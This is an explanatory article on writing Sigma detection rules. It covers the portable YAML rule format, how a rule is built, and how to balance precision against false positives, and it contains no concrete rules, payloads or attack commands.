Sigma Detection Rules

Sigma provides a standardized format for describing log-based detections that can be converted for any SIEM platform. Writing effective Sigma rules enables you to share detection logic across tools and organizations while building a portable skill set not tied to any single vendor.

Why Sigma Matters

Every SIEM platform uses its own query language—Splunk has SPL, Elastic has KQL and Lucene, Microsoft Sentinel has Kusto. This fragmentation means detection rules written for one platform don't work in others without translation.

Sigma solves this problem by providing a common description language. You write a detection rule once in YAML format, then converter tools transform it into queries for whatever SIEM you're using. A single Sigma rule can generate Splunk queries, Elastic queries, and QRadar AQL from the same source.

This portability has transformed how the security community shares detections. Public Sigma rule repositories contain thousands of community-contributed rules covering malware, attack techniques, and suspicious behaviors. Rather than writing everything from scratch, you can import community rules and focus your effort on detections specific to your environment.

Rule Structure

A Sigma rule consists of several key sections. The title, description, and metadata provide human-readable context. The logsource specifies what type of logs the rule applies to—Windows Event Logs, webserver access logs, DNS queries, and so on. The detection section contains the actual matching logic.

Detection blocks use selections that define what to match and conditions that combine selections logically. A selection might match specific fields and values, while the condition specifies whether all selections must match, any selection must match, or some logical combination.

Modifiers transform how matching works. The contains modifier matches substrings rather than exact values. Startswith and endswith anchor matches appropriately. Re enables regular expressions for complex patterns.

Writing Effective Rules

Good detection rules balance precision against recall. Too narrow and you miss variations of the attack. Too broad and false positives overwhelm analysts. Understanding the attack technique you're detecting helps you identify the essential indicators versus incidental details.

Consider detection evasion when writing rules. Attackers read public detection rules too and modify their techniques to avoid matching. Rules that focus on behavioral indicators rather than specific tool signatures prove more robust.

Test your rules against real data before deployment. Validate that attacks actually trigger the rule and that normal activity doesn't produce unacceptable false positive rates. Adjust as necessary based on testing results.